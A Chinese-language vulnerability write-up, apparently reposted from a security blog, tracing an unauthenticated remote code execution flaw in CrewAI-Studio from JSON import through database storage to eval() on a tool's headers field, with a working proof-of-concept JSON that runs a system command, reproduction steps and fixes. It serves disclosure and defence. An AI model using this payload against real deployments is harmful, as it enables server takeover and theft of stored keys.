CrewAI-Studio未授权RCE:从JSON导入到eval的任意代码执行"

admin 2026-10-20 23:31:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CrewAI-Studio 未授权 RCE:从 JSON 导入到 eval 的任意代码执行

原创

ElmWhite
ElmWhite

N0va7安全小记

2026年5月25日 15:23
福建

在小说阅读器读本章

去阅读

前言

在分析一类 AI 编排项目时,可以很清楚地看到一件事:Agent 平台的风险,不在“模型会不会胡说”,而在“模型能驱动什么”。一旦项目把外部输入、持久化配置、工具实例化和本地执行能力串起来,很多原本看上去只是普通参数的字段,都会被放大成真实攻击面。

CrewAI-Studio  就是这样一个典型样本。它是一个基于 Streamlit 和 CrewAI 的低代码多智能体应用原型工具,提供 Web 界面用于创建  Agent、Task、Crew、Tool 和 Knowledge Source,也支持 JSON 导入导出完整工作流。这里就围绕其中一个点展开:RCE。

项目地址:https://github.com/strnad/CrewAI-Studio

项目版本

  • main 分支最新提交: be9c19b

漏洞分析思路

分析这类 AI 编排项目时,不建议一开始就盯着某个危险函数看。更合理的方式是先看数据流:外部输入从哪里进来、保存到哪里、运行时怎么被加载、最后有没有进入危险执行点。

这类项目一般有几个危险特征:

  1. 有 UI 配置入口,参数会被保存到数据库。
  2. 有 JSON 导入导出,外部数据能批量进入系统。
  3. 有运行时工具实例化,配置不会只停在“展示层”。
  4. 有 Agent 执行链路,工具参数会跟着任务流一起被加载。 CrewAI-Studio 正好全都具备。

从代码结构上,最值得怀疑的就是工具层。因为在 AI 编排系统里,工具参数通常不会只用于显示,而是会在运行时被真正传给库、客户端或者本地能力。只要参数处理方式不安全,就很容易从“配置问题”直接变成“执行问题”。

UI 工具配置

先看正常 UI 配置工具的路径。PageTools 中创建工具时,会根据工具名实例化对应工具类,并立即保存到数据库。

def create_tool(self, tool_name):
    tool_class = self.available_tools[tool_name]
    tool_instance = tool_class(rnd_id())
    if 'tools' not in ss:
        ss.tools = []
    ss.tools.append(tool_instance)
    db_utils.save_tool(tool_instance)

参数编辑也类似。页面上的文本框内容变化后,会调用 set_tool_parameter(),然后再次保存工具。

def set_tool_parameter(self, tool_id, param_name, value):
    if value == \"\":
        value = None
    for tool in ss.tools:
        if tool.tool_id == tool_id:
            tool.set_parameters(**{param_name: value})
            db_utils.save_tool(tool)
            break

这一步说明,headers 这类工具参数不是临时变量,而是会进入后端持久化流程。后面只要运行 Crew,这些参数还会重新被取出来参与工具实例化。

JSON 导入

相比手工配置,JSON 导入入口更适合构造完整攻击链。PageExportCrew 中会接收上传的 JSON 文件,解析之后如果发现它是一个列表,就把它写成 uploaded_file.json,再交给 db_utils.import_from_json()。

uploaded_file = st.file_uploader(t(\"export.import_json\"), type=\"json\")
if uploaded_file is not None:
    json_data = json.load(uploaded_file)

    if isinstance(json_data, list):
        with open(\"uploaded_file.json\", \"w\") as f:
            json.dump(json_data, f)
        db_utils.import_from_json(\"uploaded_file.json\")
        st.success(t(\"export.import_success_full\"))

这里没有看到对字段结构、工具类型、危险参数的校验。也就是说,只要 JSON 符合系统导出的实体格式,就可以把 tool、agent、task、crew 一起导入。

再看 import_from_json()。它读取 JSON 列表后,对每个 entity 执行 upsert,字段只有 id、entity_type、data。

def import_from_json(file_path):
    with open(file_path, 'r') as f:
        data = json.load(f)

    with get_db_connection() as conn:
        for entity in data:
            upsert_sql = text('''
                INSERT INTO entities (id, entity_type, data)
                VALUES (:id, :etype, :data)
                ON CONFLICT(id) DO UPDATE
                    SET entity_type = EXCLUDED.entity_type,
                        data = EXCLUDED.data
            ''')

            conn.execute(
                upsert_sql,
                {
                    \"id\": entity['id'],
                    \"etype\": entity['entity_type'],
                    \"data\": json.dumps(entity['data'])
                }
            )
        conn.commit()

这里就能解释后面为什么 POC JSON 要按下面这种结构构造:

  • entity_type: \"tool\":创建一个恶意工具实体。
  • data.name: \"CustomApiTool\":让加载逻辑后续选择 MyCustomApiTool 这个包装类。
  • data.parameters.headers:放入最终会进入 eval() 的 payload。
  • entity_type: \"agent\":创建一个 Agent,并用 tool_ids 绑定恶意工具。
  • entity_type: \"task\":创建一个任务,并用 agent_id 绑定上面的 Agent。
  • entity_type: \"crew\":创建一个可在 Kickoff 页面选择和运行的 Crew,并用 agent_ids、task_ids 串起完整工作流。

这样构造之后,导入的不是孤立 payload,而是一条可以被正常 UI 运行起来的最小工作流。

数据如何从数据库回到对象

导入完成后,还需要确认这些数据会不会重新进入运行时对象。先看工具加载逻辑。

def load_tools():
    rows = load_entities('tool')
    tools = []
    for row in rows:
        data = row[1]
        tool_class = TOOL_CLASSES[data['name']]
        tool = tool_class(tool_id=row[0])
        tool.set_parameters(**data['parameters'])
        tools.append(tool)
    return tools

这段代码做了两件关键的事:

  1. 用数据库里的 data[\"name\"] 从 TOOL_CLASSES 中选择工具类。
  2. 把数据库里的 data[\"parameters\"] 重新设置回工具对象。

因此,只要 JSON 中的 tool 写成 CustomApiTool,并且 parameters 中有 headers,后续内存对象就会带着这个 payload。

接着看 Agent 加载。load_agents() 会先加载所有工具,再根据 tool_ids 把工具挂回 Agent。

def load_agents():
    from my_agent import MyAgent
    rows = load_entities('agent')
    tools_dict = {tool.tool_id: tool for tool in load_tools()}
    agents = []
    for row in rows:
        data = row[1]
        tool_ids = data.pop('tool_ids', [])
        knowledge_source_ids = data.pop('knowledge_source_ids', [])
        agent = MyAgent(id=row[0], knowledge_source_ids=knowledge_source_ids, **data)
        agent.tools = [tools_dict[tool_id] for tool_id in tool_ids if tool_id in tools_dict]
        agents.append(agent)
    return sorted(agents, key=lambda x: x.created_at)

这也是后面 POC JSON 中 Agent 必须写 tool_ids: [\"POC_TOOL_EVAL\"] 的原因。没有这一步,恶意工具虽然进了数据库,但不会被 Agent 使用。

再看 Crew 加载。load_crews() 会根据 agent_ids 和 task_ids 把 Agent、Task 重新拼回 Crew。

def load_crews():
    from my_crew import MyCrew
    rows = load_entities('crew')
    agents_dict = {agent.id: agent for agent in load_agents()}
    tasks_dict = {task.id: task for task in load_tasks()}
    crews = []
    for row in rows:
        data = row[1]
        crew = MyCrew(
            id=row[0],
            name=data['name'],
            process=data['process'],
            verbose=data['verbose'],
            created_at=data['created_at'],
            memory=data.get('memory'),
            cache=data.get('cache'),
            planning=data.get('planning'),
            planning_llm=data.get('planning_llm'),
            max_rpm=data.get('max_rpm'),
            manager_llm=data.get('manager_llm'),
            manager_agent=agents_dict.get(data.get('manager_agent_id')),
            knowledge_source_ids=data.get('knowledge_source_ids', [])
        )
        crew.agents = [agents_dict[agent_id] for agent_id in data['agent_ids'] if agent_id in agents_dict]
        crew.tasks = [tasks_dict[task_id] for task_id in data['task_ids'] if task_id in tasks_dict]
        crews.append(crew)
    return sorted(crews, key=lambda x: x.created_at)

只有它们串起来,页面上才会出现一个可运行的 POC eval headers。 这也就是 POC JSON 中为什么要有 crew、agent、task 三类实体的原因。

运行时如何触发

数据已经进了数据库,也能回到对象里,下一步就要看运行按钮会触发什么。

Kickoff 页面中,点击运行后会调用 selected_crew.get_crewai_crew(full_output=True)。

def control_buttons(self, selected_crew):
    if st.button(t('crew_run.run_button'), disabled=not selected_crew.is_valid() or ss.running):
        inputs = {key.split('_')[1]: value for key, value in ss.placeholders.items()}
        ss.result = None

        try:
            crew = selected_crew.get_crewai_crew(full_output=True)
        except Exception as e:
            st.exception(e)
            traceback.print_exc()
            return

MyCrew.get_crewai_crew() 的第一步,就是把每个自定义 Agent 转成 CrewAI 原生 Agent。

def get_crewai_crew(self, *args, **kwargs) -> Crew:
    crewai_agents = [agent.get_crewai_agent() for agent in self.agents]

进入 MyAgent.get_crewai_agent() 后,可以看到工具实例化发生在这里:

def get_crewai_agent(self) -> Agent:
    llm = create_llm(self.llm_provider_model, temperature=self.temperature)
    tools = [tool.create_tool() for tool in self.tools]

也就是说,运行 Crew 的时候,不是先等模型调用工具,而是先把 Agent 和工具对象创建出来。这个时机非常关键,因为漏洞就出现在工具创建过程中。

Sink 点:headers 进入 eval()

最后回到真正的危险点。MyCustomApiTool.create_tool() 在构造 CustomApiTool 时,对 headers 直接调用了 eval()。

def create_tool(self) -> CustomApiTool:
    return CustomApiTool(
        base_url=self.parameters.get('base_url') if self.parameters.get('base_url') else None,
        headers=eval(self.parameters.get('headers')) if self.parameters.get('headers') else None,
        query_params=self.parameters.get('query_params') if self.parameters.get('query_params') else None
    )

这时完整链路就闭合了:

换句话说,攻击者不需要把 payload 塞进 prompt,也不需要等待模型“主动犯错”。只要能把恶意配置写进系统,再让它走一遍正常的运行流程,执行点就会自己出现。

再看应用入口。app.py 主要做页面注册、数据加载和页面绘制,未看到登录、权限校验或访问控制逻辑。

def pages():
    return {
        t('page.crews'): PageCrews(),
        t('page.tools'): PageTools(),
        t('page.agents'): PageAgents(),
        t('page.tasks'): PageTasks(),
        t('page.knowledge'): PageKnowledge(),
        t('page.kickoff'): PageCrewRun(),
        t('page.results'): PageResults(),
        t('page.import_export'): PageExportCrew()
    }

def main():
    st.set_page_config(page_title=t('page.title'), page_icon=\"img/favicon.ico\", layout=\"wide\")
    load_dotenv()
    load_secrets_fron_env()
    db_utils.initialize_db()
    load_data()
    draw_sidebar()
    PageCrewRun.maintain_session_state()
    pages()[ss.page].draw()

因此在默认部署场景下,访问者可以直接进入 Import/Export 页面导入 JSON,再进入 Kickoff 页面运行导入的 Crew。结合上面的数据流转,最终就能触发 headers 中的 payload。

隔离环境搭建

建议在单独环境中复现,避免污染真实数据。

cd /Users/xxx/dev/review/CrewAI-Studio
python3.12 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

export HOME=\"/private/tmp\"
export CREWAI_STORAGE_DIR=\"crewai-poc-storage\"
export DB_URL=\"sqlite:////private/tmp/crewai-studio-poc.db\"
export DEFAULT_LANGUAGE=\"en\"
export OPENAI_API_KEY=\"dummy-key-for-local-poc\"
export OPENAI_API_BASE=\"https://api.openai.com/v1/\"

启动 UI:

streamlit run ./app/app.py \\
  --server.headless true \\
  --server.address 127.0.0.1 \\
  --server.port 8501

复现链路

第一步:导入恶意 JSON

进入 Import/Export 页面,上传一个完整数据库导入格式的 JSON。这个 JSON 会创建一套最小化的 POC 工作流,其中 CustomApiTool.headers 已经放入可执行 payload。

[
  {
    \"id\": \"POC_TOOL_EVAL\",
    \"entity_type\": \"tool\",
    \"data\": {
      \"name\": \"CustomApiTool\",
      \"description\": \"POC CustomApiTool with eval payload in headers\",
      \"parameters\": {
        \"base_url\": \"http://127.0.0.1:8765\",
        \"headers\": \"(__import__('pathlib').Path('/private/tmp/crewai_eval_poc.txt').write_text('eval executed through imported JSON\\\
' + __import__('subprocess').check_output(['id']).decode()), {'X-POC': '1'})[1]\",
        \"query_params\": null
      }
    }
  },
  {
    \"id\": \"A_POC_EVAL\",
    \"entity_type\": \"agent\",
    \"data\": {
      \"created_at\": \"2026-05-19T00:00:00\",
      \"role\": \"POC Eval Agent\",
      \"backstory\": \"A local-only proof-of-concept agent.\",
      \"goal\": \"Instantiate the configured tool for vulnerability validation.\",
      \"allow_delegation\": false,
      \"verbose\": true,
      \"cache\": false,
      \"llm_provider_model\": \"OpenAI: gpt-4.1-mini\",
      \"temperature\": 0.1,
      \"max_iter\": 1,
      \"tool_ids\": [\"POC_TOOL_EVAL\"],
      \"knowledge_source_ids\": []
    }
  },
  {
    \"id\": \"T_POC_EVAL\",
    \"entity_type\": \"task\",
    \"data\": {
      \"description\": \"Return the exact text: POC complete.\",
      \"expected_output\": \"POC complete.\",
      \"async_execution\": false,
      \"agent_id\": \"A_POC_EVAL\",
      \"context_from_async_tasks_ids\": null,
      \"context_from_sync_tasks_ids\": null,
      \"created_at\": \"2026-05-19T00:00:00\"
    }
  },
  {
    \"id\": \"C_POC_EVAL\",
    \"entity_type\": \"crew\",
    \"data\": {
      \"name\": \"POC eval headers\",
      \"process\": \"sequential\",
      \"verbose\": true,
      \"agent_ids\": [\"A_POC_EVAL\"],
      \"task_ids\": [\"T_POC_EVAL\"],
      \"memory\": false,
      \"cache\": false,
      \"planning\": false,
      \"planning_llm\": null,
      \"max_rpm\": 10,
      \"manager_llm\": null,
      \"manager_agent_id\": null,
      \"created_at\": \"2026-05-19T00:00:00\",
      \"knowledge_source_ids\": []
    }
  }
]

这里真正起作用的是第一段 tool 数据,headers 字段里的表达式会写入测试文件,并把 id 命令输出一起写进去,方便确认代码是在服务端进程里执行的。

第二步:回到 Kickoff 页面运行 Crew

切换到 Kickoff! 页面,选择 POC eval headers,点击运行。

第三步:验证结果

查看测试文件:

成功时会出现类似内容:

eval executed through imported JSON
uid=... gid=... groups=...

这说明恶意工具配置已经在服务端执行。

影响分析

这类 RCE 的真实影响不只是“能执行命令”这么简单,放在 AI 编排平台里,攻击者通常还能进一步拿到:

  • 进程权限下能读到的环境变量
  • 本机磁盘里的配置、日志、密钥和中间文件
  • 运行环境中挂载的工作目录内容
  • 可能暴露出来的 API Key 或第三方凭据
  • 写入定时任务反弹shell

如果这个服务运行在容器里,影响边界通常是容器内权限;如果它直接跑在宿主机上,后果就会更重。

修复方案

这个问题的修复方向很明确:

  1. 移除 eval(),headers 只能按严格 JSON 结构解析。
  2. JSON 导入前做 schema 校验,禁止任意实体直接落库。
  3. 危险工具默认禁用,启用前加显式风险确认。
  4. 工具参数做白名单约束,避免表达式、函数调用和非预期类型。
  5. 导入和运行分权,配置保存不应等同于执行授权。

结语

CrewAI-Studio 的问题不只是某个参数没校验,而是 AI 编排系统里很典型的一类高风险组合:无需授权访问 + 外部输入 + 持久化配置 + 运行时工具实例化 + 本地执行能力。

在这类系统里,一个看起来普通的 headers 字段,最后会变成服务端代码执行入口。真正值得盯住的是模型被允许调用什么、谁能喂它什么、这些输入最后会落到哪里。


    CrewAI-Studio未授权RCE:从JSON导入到eval的任意代码执行" 网络安全文章

    CrewAI-Studio未授权RCE:从JSON导入到eval的任意代码执行"

    CrewAI-Studio存在未授权RCE漏洞,攻击者可通过JSON导入功能注入恶意代码。漏洞利用链涉及工具配置参数(如CustomApiTool的headers字段)经数据库持久化后,在运行时通过eval函数执行任意代码。关键风险点包括缺乏输入验证、危险函数调用及AI编排系统的数据流放大效应。建议严格校验导入数据、禁用危险执行函数并实施最小权限原则。
    传统零信任之困:一个万人企业的OA(PC/WEB/APP)暴露面收敛实践" 网络安全文章

    传统零信任之困:一个万人企业的OA(PC/WEB/APP)暴露面收敛实践"

    本文介绍某万人企业采用WEB隐身盾方案替代传统客户端零信任方案实现OA暴露面收敛的实践。原方案存在三重成本叠加、多端适配复杂、隧道模式不稳定等问题。新方案通过DNS和反向代理层实现三端统一保护,无需客户端安装或身份改造,56天拦截攻击69万次,综合成本下降93%且实现零故障运行。
    通用|端午第三弹,粽享万元奖励金" 网络安全文章

    通用|端午第三弹,粽享万元奖励金"

    补天平台于2026年5月25日至6月8日推出端午专项漏洞奖励活动,包含通用2.0和1.0两个计划。通用2.0针对基础定价≥1.5万元的漏洞提供20%溢价奖励,提交3个以上额外奖励1万元;通用1.0针对实际影响≥100独立IP的漏洞设置累计提交奖励机制。参与者需通过活动页面报名,提交有效漏洞即可获得端午礼盒,活动详情需查阅官方公告。
    WhiteShadowv2.1更新,批量白加黑免杀如何实现“零编译”导出表劫持" 网络安全文章

    WhiteShadowv2.1更新,批量白加黑免杀如何实现“零编译”导出表劫持"

    本文介绍了一款名为白影(whiteshadow)的自动化工具,它能实现`零编译`的dll导出表劫持,用于生成白加黑免杀载荷。其核心优势是无需源码和本地编译环境,直接通过二进制修改dll文件来实现免杀。新版本v2.1更新了patch模板,引入fnv1ahash匹配技术,并提供了带反沙箱功能的模板以绕过主流安全软件检测。该工具主要用于安全测试和防御研究场景。
    评论:0   参与:  0